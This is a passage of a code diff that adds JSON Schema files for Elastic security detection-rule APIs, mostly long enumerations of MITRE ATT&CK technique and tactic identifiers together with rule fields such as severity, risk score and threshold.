"T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "saved_query", + "enum": [ + "saved_query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "saved_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.11/7.11.threshold.json b/etc/api_schemas/7.11/7.11.threshold.json new file mode 100644 index 000000000..68c2a8b05 --- /dev/null +++ b/etc/api_schemas/7.11/7.11.threshold.json @@ -0,0 +1,974 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "field": { + "default": "", + "type": "string" + }, + "value": { + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "threshold", + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license", + "threshold" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.12/7.12.base.json b/etc/api_schemas/7.12/7.12.base.json new file mode 100644 index 000000000..55a0cac5d --- /dev/null +++ b/etc/api_schemas/7.12/7.12.base.json @@ -0,0 +1,928 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + 